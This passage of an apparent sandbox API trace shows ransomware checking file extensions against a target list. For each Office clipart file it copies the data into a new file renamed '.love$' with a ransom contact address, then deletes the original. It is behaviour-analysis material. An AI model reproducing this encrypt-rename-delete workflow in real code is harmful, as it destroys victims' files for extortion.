(lpString1=".pdf", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString=".xls") returned 4 [0249.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.126] lstrlenW (lpString=".xlsx") returned 5 [0249.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.126] lstrlenW (lpString=".ppt") returned 4 [0249.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.127] lstrlenW (lpString=".zip") returned 4 [0249.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.127] lstrlenW (lpString=".rar") returned 4 [0249.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.127] lstrlenW (lpString=".bz2") returned 4 [0249.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.127] lstrlenW (lpString=".7z") returned 3 [0249.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.127] lstrlenW (lpString=".dbf") returned 4 [0249.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.127] lstrlenW (lpString=".1cd") returned 4 [0249.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.127] lstrlenW (lpString=".jpg") returned 4 [0249.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.127] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.127] lstrlenW (lpString="FD00419_.WMF") returned 12 [0249.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.128] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=16396) returned 1 [0249.128] CloseHandle (hObject=0x488) returned 1 [0249.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0249.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.129] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.129] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.130] GetLastError () returned 0x0 [0249.130] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x400c, lpOverlapped=0x0) returned 1 [0249.177] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4010, lpOverlapped=0x0) returned 1 [0249.179] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.179] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.179] SetEndOfFile (hFile=0x4e4) returned 1 [0249.234] CloseHandle (hObject=0x4e4) returned 1 [0249.234] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.234] SetEndOfFile (hFile=0x488) returned 1 [0249.238] CloseHandle (hObject=0x488) returned 1 [0249.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0249.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.240] lstrlenW (lpString=".doc") returned 4 [0249.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.240] lstrlenW (lpString=".docx") returned 5 [0249.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.240] lstrlenW (lpString=".pdf") returned 4 [0249.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.240] lstrlenW (lpString=".xls") returned 4 [0249.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.240] lstrlenW (lpString=".xlsx") returned 5 [0249.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.240] lstrlenW (lpString=".ppt") returned 4 [0249.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.240] lstrlenW (lpString=".zip") returned 4 [0249.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.240] lstrlenW (lpString=".rar") returned 4 [0249.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.240] lstrlenW (lpString=".bz2") returned 4 [0249.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.240] lstrlenW (lpString=".7z") returned 3 [0249.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString=".dbf") returned 4 [0249.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString=".1cd") returned 4 [0249.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString=".jpg") returned 4 [0249.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString=".doc") returned 4 [0249.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString=".docx") returned 5 [0249.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.241] lstrlenW (lpString=".pdf") returned 4 [0249.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString=".xls") returned 4 [0249.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.241] lstrlenW (lpString=".xlsx") returned 5 [0249.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.241] lstrlenW (lpString=".ppt") returned 4 [0249.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.241] lstrlenW (lpString=".zip") returned 4 [0249.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.241] lstrlenW (lpString=".rar") returned 4 [0249.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString=".bz2") returned 4 [0249.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.241] lstrlenW (lpString=".7z") returned 3 [0249.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.242] lstrlenW (lpString=".dbf") returned 4 [0249.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.242] lstrlenW (lpString=".1cd") returned 4 [0249.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0249.242] lstrlenW (lpString=".jpg") returned 4 [0249.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.242] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.242] lstrlenW (lpString="FD00428_.WMF") returned 12 [0249.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.243] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4796) returned 1 [0249.244] CloseHandle (hObject=0x488) returned 1 [0249.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0249.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.244] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.244] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.245] GetLastError () returned 0x0 [0249.245] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0249.247] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0249.249] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.249] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.249] SetEndOfFile (hFile=0x4e4) returned 1 [0249.249] CloseHandle (hObject=0x4e4) returned 1 [0249.249] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.249] SetEndOfFile (hFile=0x488) returned 1 [0249.252] CloseHandle (hObject=0x488) returned 1 [0249.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0249.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.254] lstrlenW (lpString=".doc") returned 4 [0249.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.254] lstrlenW (lpString=".docx") returned 5 [0249.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.254] lstrlenW (lpString=".pdf") returned 4 [0249.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.254] lstrlenW (lpString=".xls") returned 4 [0249.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.254] lstrlenW (lpString=".xlsx") returned 5 [0249.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.254] lstrlenW (lpString=".ppt") returned 4 [0249.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString=".zip") returned 4 [0249.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.255] lstrlenW (lpString=".rar") returned 4 [0249.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString=".bz2") returned 4 [0249.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString=".7z") returned 3 [0249.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString=".dbf") returned 4 [0249.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString=".1cd") returned 4 [0249.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString=".jpg") returned 4 [0249.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.255] lstrlenW (lpString=".doc") returned 4 [0249.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString=".docx") returned 5 [0249.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.255] lstrlenW (lpString=".pdf") returned 4 [0249.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.255] lstrlenW (lpString=".xls") returned 4 [0249.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.255] lstrlenW (lpString=".xlsx") returned 5 [0249.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.255] lstrlenW (lpString=".ppt") returned 4 [0249.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.256] lstrlenW (lpString=".zip") returned 4 [0249.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.256] lstrlenW (lpString=".rar") returned 4 [0249.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString=".bz2") returned 4 [0249.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString=".7z") returned 3 [0249.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.256] lstrlenW (lpString=".dbf") returned 4 [0249.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.256] lstrlenW (lpString=".1cd") returned 4 [0249.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0249.256] lstrlenW (lpString=".jpg") returned 4 [0249.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.256] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.256] lstrlenW (lpString="FD00435_.WMF") returned 12 [0249.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.257] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2108) returned 1 [0249.257] CloseHandle (hObject=0x488) returned 1 [0249.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0249.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.258] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.258] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.259] GetLastError () returned 0x0 [0249.259] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x83c, lpOverlapped=0x0) returned 1 [0249.261] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x840, lpOverlapped=0x0) returned 1 [0249.262] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.262] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.262] SetEndOfFile (hFile=0x4e4) returned 1 [0249.263] CloseHandle (hObject=0x4e4) returned 1 [0249.263] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.263] SetEndOfFile (hFile=0x488) returned 1 [0249.265] CloseHandle (hObject=0x488) returned 1 [0249.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.267] lstrlenW (lpString=".doc") returned 4 [0249.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".docx") returned 5 [0249.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.267] lstrlenW (lpString=".pdf") returned 4 [0249.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".xls") returned 4 [0249.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.267] lstrlenW (lpString=".xlsx") returned 5 [0249.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.267] lstrlenW (lpString=".ppt") returned 4 [0249.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.267] lstrlenW (lpString=".zip") returned 4 [0249.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.267] lstrlenW (lpString=".rar") returned 4 [0249.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".bz2") returned 4 [0249.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.267] lstrlenW (lpString=".7z") returned 3 [0249.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString=".dbf") returned 4 [0249.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString=".1cd") returned 4 [0249.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString=".jpg") returned 4 [0249.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString=".doc") returned 4 [0249.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString=".docx") returned 5 [0249.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.268] lstrlenW (lpString=".pdf") returned 4 [0249.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString=".xls") returned 4 [0249.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.268] lstrlenW (lpString=".xlsx") returned 5 [0249.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.268] lstrlenW (lpString=".ppt") returned 4 [0249.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.268] lstrlenW (lpString=".zip") 